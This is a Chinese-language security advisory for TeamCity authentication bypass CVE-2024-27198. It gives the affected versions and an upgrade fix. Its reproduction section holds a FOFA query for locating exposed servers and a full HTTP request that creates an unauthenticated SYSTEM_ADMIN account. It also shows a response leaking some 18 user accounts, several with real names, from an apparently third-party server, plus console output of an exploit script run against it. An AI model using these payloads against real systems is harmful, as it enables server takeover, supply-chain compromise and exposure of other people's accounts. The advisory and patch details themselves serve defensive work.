

关于JetBrains TeamCity 身份验证绕过漏洞 (CVE-2024-27198)预警

漏洞描述

JetBrains TeamCity发布新版本修复了两个高危漏洞JetBrains TeamCity 身份验证绕过漏洞(CVE-2024-27198)与JetBrains TeamCity 路径遍历漏洞(CVE-2024-27199)。未经身份验证的远程攻击者利用CVE-2024-27198可以绕过系统身份验证，创建管理员账户，完全控制所有TeamCity项目、构建、代理和构件，为攻击者执行供应链攻击。远程攻击者利用该漏洞能够绕过身份认证在系统上执行任意代码。

影响范围

TeamCity < 2023.11.4

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	中
利用难度	低

漏洞复现

FOFA: body="Log in to TeamCity"

POC/EXP:

GET /pwned?jsp=/app/rest/users;.jsp HTTP/1.1

Host: 127.0.0.1:8888

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/121.0.0.0 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,;q=0.

8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9
Cookie: TCSESSIONID=35E67506EDA5B7FFFA46BA94CACDB8A5; __test=1

{"username": "ceshi", "password": "test123", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

未授权创建管理员账户

Request

1 GET /pwned?jsp=/app/rest/users.jsp HTTP/1.1

2 Host: [redacted]

3 Upgrade-Insecure-Requests: 1

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36

5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

6 Accept-Encoding: gzip, deflate

7 Accept-Language: zh-CN,zh;q=0.9

8 Cookie: TCSESSIONID=35E67506EDA5B7FFFA46BA94CACDB8A5; __test=1

9

10

11 {"username": "ceshi", "password": "test123", "email": "test@123.com", "roles": [{"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

Responses 1768bytes / 254ms

1 HTTP/1.1 200

2 TeamCity-Node-Id: MAIN_SERVER

3 Cache-Control: no-store

4 Content-Type: application/xml

5 Content-Language: zh-CN

6 Date: Wed, 06 Mar 2024 01:29:19 GMT

7 Content-Length: 1768

8

9 <?xml version="1.0" encoding="UTF-8" standalone="yes"?><users count="24"><user username="rdegua" name="Royston Degua" id="4" href="/app/rest/users/id:4/"><user username="bitbucket" id="5" href="/app/rest/users/id:5/"><user username="octopus" name="Octopus Deploy" id="6" href="/app/rest/users/id:6/"><user username="druiz" name="Daniel Ruiz" id="9" href="/app/rest/users/id:9/"><user username="pshirley" name="Paul Shirley" id="10" href="/app/rest/users/id:10/"><user username="ccachia" name="Christabel Cachia" id="11" href="/app/rest/users/id:11/"><user username="tooling" name="JiraAccess" id="12" href="/app/rest/users/id:12/"><user username="lzbkt" id="48" href="/app/rest/users/id:48/"><user username="i35nv" id="49" href="/app/rest/users/id:49/"><user username="9nw3o" id="50" href="/app/rest/users/id:50/"><user username="joqav" id="51" href="/app/rest/users/id:51/"><user username="lfure" id="52" href="/app/rest/users/id:52/"><user username="rneif" id="53" href="/app/rest/users/id:53/"><user username="bridgette.alvarado" name="Bridgette M. Alvarado" id="22" href="/app/rest/users/id:22/"><user username="o2iflnii" id="54" href="/app/rest/users/id:54/"><user username="trader" id="55" href="/app/rest/users/id:55/"><user username="adminli" id="56" href="/app/rest/users/id:56/"><user username="enAv0A7v" id="57" href="/app/rest/users/id:57/">

不安全 4 34:90/admin/admin.html?item=users

TC Projects Changes Agents 2 Queue 0

Administration ? CE

TeamCity 2023.11.4 (build 147586) has been released and can be installed automatically. View details on the Updates page.

The server currently uses the internal database. For production purposes, it is recommended to use a standalone database which provides better performance and reliability.

Administration

Project-related Settings
Projects
All Builds
Build Time
Disk Usage
Server Health
Audit
User Management
Users
Groups
Integrations
Tools
Server Administration
Global Settings
Authentication
Updates
Nodes Configuration
Email Notifier
Diagnostics
Backup
Projects Import
Licenses

Users

Find users: ceshi Filter Advanced search Users to show: 50

Create user account 1 user

Username ^	Name	Email	Groups	Administrator	Last login time
ceshi	N/A	ceshi@mydomain.com	View groups (1)	Admin	06 Mar 24 07:40:05

Microsoft Windows [版本 10.0.22621.3085]
(c) Microsoft Corporation. 保留所有权利。

E:\Desktop&Download\Desktop\CVE-2024-27198>python CVE-2024-27198.py -t http://[redacted]:34:90/login.html -u ceshi -p test123
[-] Version not found
[+] Server vulnerable, returning HTTP 200
[+] New user ceshi created successfully! Go to http://[redacted]:90/login.html/login.html to login with your new credentials :)

E:\Desktop&Download\Desktop\CVE-2024-27198>

修复方案

官方修复：

目前官方已有可更新版本，建议受影响用户升级至：

TeamCity >= 2023.11.4

参考：<https://blog.jetbrains.com/teamcity/2024/03/teamcity-2023-11-4-is-out/>